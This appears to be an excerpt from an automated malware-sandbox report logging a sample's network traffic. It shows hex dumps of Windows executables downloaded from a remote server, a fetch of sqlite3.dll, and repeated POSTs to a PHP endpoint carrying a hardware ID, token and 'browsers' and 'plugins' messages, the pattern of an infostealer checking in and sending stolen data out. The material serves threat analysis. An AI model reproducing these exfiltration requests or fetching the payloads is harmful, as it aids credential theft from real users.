00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 10:27:23 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 10:27:24 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 10:27:26 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 10:27:27 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCAEHDBAAECBFHJKFCFBHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 41 38 31 31 41 37 36 43 46 43 31 33 33 33 32 37 34 33 38 36 35 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 2d 2d 0d 0a Data Ascii: ------GCAEHDBAAECBFHJKFCFBContent-Disposition: form-data; name="hwid"6A811A76CFC13332743865------GCAEHDBAAECBFHJKFCFBContent-Disposition: form-data; name="build"tale------GCAEHDBAAECBFHJKFCFB--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDAEBGIDBGHIECBGHJDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 44 41 45 42 47 49 44 42 47 48 49 45 43 42 47 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 34 62 38 64 61 30 34 36 37 38 66 39 32 62 64 37 30 66 36 31 34 38 36 30 39 64 66 30 39 63 31 36 36 65 35 37 39 38 64 38 65 64 66 66 34 32 64 65 38 31 39 33 34 33 31 32 33 37 61 36 30 36 34 61 64 31 32 30 39 64 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 41 45 42 47 49 44 42 47 48 49 45 43 42 47 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 41 45 42 47 49 44 42 47 48 49 45 43 42 47 48 4a 44 2d 2d 0d 0a Data Ascii: ------EGDAEBGIDBGHIECBGHJDContent-Disposition: form-data; name="token"9b4b8da04678f92bd70f6148609df09c166e5798d8edff42de8193431237a6064ad1209d------EGDAEBGIDBGHIECBGHJDContent-Disposition: form-data; name="message"browsers------EGDAEBGIDBGHIECBGHJD--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFHCAEGCBFHJDGCBFHDAHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 34 62 38 64 61 30 34 36 37 38 66 39 32 62 64 37 30 66 36 31 34 38 36 30 39 64 66 30 39 63 31 36 36 65 35 37 39 38 64 38 65 64 66 66 34 32 64 65 38 31 39 33 34 33 31 32 33 37 61 36 30 36 34 61 64 31 32 30 39 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 2d 2d 0d 0a Data Ascii: ------KFHCAEGCBFHJDGCBFHDAContent-Disposition: form-data; name="token"9b4b8da04678f92bd70f6148609df09c166e5798d8edff42de8193431237a6064ad1209d------KFHCAEGCBFHJDGCBFHDAContent-Disposition: form-data; name="message"plugins------KFHCAEGCBFHJDGCBFHDA--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAFBGIDHCBFHIECFCBGHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 34 62 38 64 61 30 34 36 37 38 66 39 32 62 64 37 30 66 36 31 34 38 36 30 39 64 66 30 39 63 31 36 36 65 35 37 39 38 64 38 65 64 66 66 34 32 64 65 38 31 39 33 34 33 31 32 33 37 61 36 30 36 34 61 64 31 32 30 39 64 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 2d 2d 0d 0a Data Ascii: ------EBAFBGIDHCBFHIECFCBGContent-Disposition: form-data; name="token"9b4b8da04678f92bd70f6148609df09c166e5798d8edff42de8193431237a6064ad1209d------EBAFBGIDHCBFHIECFCBGContent-Disposition: form-data; name="message"fplugins------EBAFBGIDHCBFHIECFCBG--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDHCAAKECFIDHIEBAKHost: 185.215.113.206Content-Length: 6255Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBFHCGCGDAAKFIECFHDHost: 185.215.113.206Content-Length: 991Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKKJKKECFIDGDHIJEGDHost: 185.215.113.206Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIJEGCBGIDGHIDHDGCBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 34 62 38 64 61 30 34 36 37 38 66 39 32 62 64 37 30 66 36 31 34 38 36 30 39 64 66 30 39 63 31 36 36 65 35 37 39 38 64 38 65 64 66 66 34 32 64 65 38 31 39 33 34 33 31 32 33 37 61 36 30 36 34 61 64 31 32 30 39 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 2d 2d 0d 0a Data Ascii: ------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="token"9b4b8da04678f92bd70f6148609df09c166e5798d8edff42de8193431237a6064ad1209d------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="file"------KFIJEGCBGIDGHIDHDGCB--
